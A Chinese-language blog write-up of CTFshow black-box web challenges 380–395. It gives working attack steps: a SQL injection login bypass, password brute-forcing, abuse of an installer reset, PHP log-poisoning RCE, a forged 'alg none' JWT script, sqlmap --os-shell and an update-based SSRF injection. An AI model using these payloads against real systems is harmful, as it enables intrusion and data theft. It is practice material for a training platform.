黑盒测试

web380

随便打开一个发现都是page_+数字.php的网址,那就试试page.php,点开发现打开$id.php失败,直接测试id这个参数,然后就看看呗,发现?id=flag直接就出来flag了

web381

点开二件套(dir,看源码),

<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<title>CTFshow萌新博客</title>
<link rel="stylesheet" href="layui/css/layui.css">
<link rel="stylesheet" href="layui/css/global.css">
<link rel="stylesheet" href="alsckdfy/layui/css/tree.css">

发现有个这个,不过有个特殊的alsckdfy,因为其他的都是在layui下面嘛,点开看看

就出来flag了

web382

因为他这个题是层层递进的嘛,直接/alsckdfy,发现是登录的网址。通常情况下面登录框存在SQL注入啊,XSS啊什么的漏洞,直接SQL注入测试,发现万能密码直接出来

username:1' or 1=1#
password:随便写就行

web383

同上

web384

密码前2位是小写字母,后三位是数字
username:admin
password:直接抓包改就行了,爆破器 跑出来是xy123

web385

这个老样子二件套,出来/install

请务必在安装成功后删除本文件
需要重新安装请访问install/?install,管理员密码将重置为默认密码
访问/install/?install
请务必在安装成功后删除本文件
需要重新安装请访问install/?install,管理员密码将重置为默认密码
安装成功,请立即删除本文件

说明密码重置了,而layui他默认账号是

admin/admin888

访问/alsckdfy 输入账号密码出来flag

web386

dir扫出来/install

/install
lock.dat存在,你已经安装过了,请勿重复安装
/page.php
打开page_$id.php失败
/clear.php
清理完成
开始猜一下参数嘛,file啊id什么的
/clear.php?file=./install/lock.dat
再访问/install/发现
请务必在安装成功后删除本文件
需要重新安装请访问install/?install,管理员密码将重置为默认密码
再次访问install/?install发现重置密码了
访问/alsckdfy 输入默认的账号密码出来flag

web387

dir一下出来/debug

/debug
file not exist
然后使用file参数发现可以进行文件包含,就查看日志
/debug/?file=/var/log/nginx/access.log
发现可以,就尝试日志注入(在UA头里面传🐎,然后进行RCE)就可以了
<?php system('cat /var/www/html/alsckdfy/check.php > /var/www/html/1.txt')?>

然后访问1.txt就可以了

web388

dir:发现alsckdfy/ 然后接着发现alsckdfy/editor/有个文件编译器

发现有一个像链接的东西传入文件不过要使用zip

1.zip
<?php system('cat /var/www/html/alsckdfy/check.php > /var/www/html/1.txt')?>
访问/debug/ 发现输入参数file可以执行文件的命令
直接file=zip的文件地址,然后访问1.txt就出来了

web389

/debug
权限不足
发现是cookie的原因
在jwt.io那里解密发现是user,直接改一下再加密,附上代码
import jwt

# payload
token_dict = {
 "iss": "admin",
 "iat": 1758542216,
 "exp": 1758549416,
 "nbf": 1758542216,
 "sub": "admin",
 "jti": "1b62ca025adc6885d1b8d197a2b7cd01"
}
# headers
headers = {
   "alg": "none",
   "typ": "JWT"
}

jwt_token = jwt.encode(token_dict,  # payload, 有效载体
                      key='',
                      headers=headers,  # json web token 数据结构包含两部分, payload(有效载体), headers(标头)
                      algorithm="none",  # 指明签名算法方式, 默认也是HS256
                      )  # python3 编码后得到 bytes, 再进行解码(指明解码的格式), 得到一个str

print(jwt_token)
//记得改

然后操作和上面一样

web390

非预期解是和上面操作一样的

预期解

点开任意一个文章,发现是

page.php?id=1

应该是存在SQL注入的,测试一下

1 or 1=1

发现可以,sqlmap跑一下

sqlmap -u url --file-read /var/www/html/alsckdfy/check.php --batch 

运行完会将文件保存在你的本地,直接访问就拿到flag

利用 sqlmap 进行getshell 
python sqlmap.py -u url --is-dba
发现显示 current user is DBA:True

可以进行getshell

python sqlmap.py -u url --os-shell
然后是4:php 2:自定义文件 写入shell,会给你网站,进行文件上传就ok了

web391

web392

同上,包括非预期解

web393

同样可以使用上面的非预期解,不过可以使用sql注入

url为:/link.php?id=4

是有参数的,所以基本可以肯定是与数据库有连接的

可以利用上一题的注入点来进行insert注入或者update注入,并利用ssrf来读取本地文件:a';update link set url='file:///flag' where id = 1;#

web394,web395

都是利用上面的非预期解

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇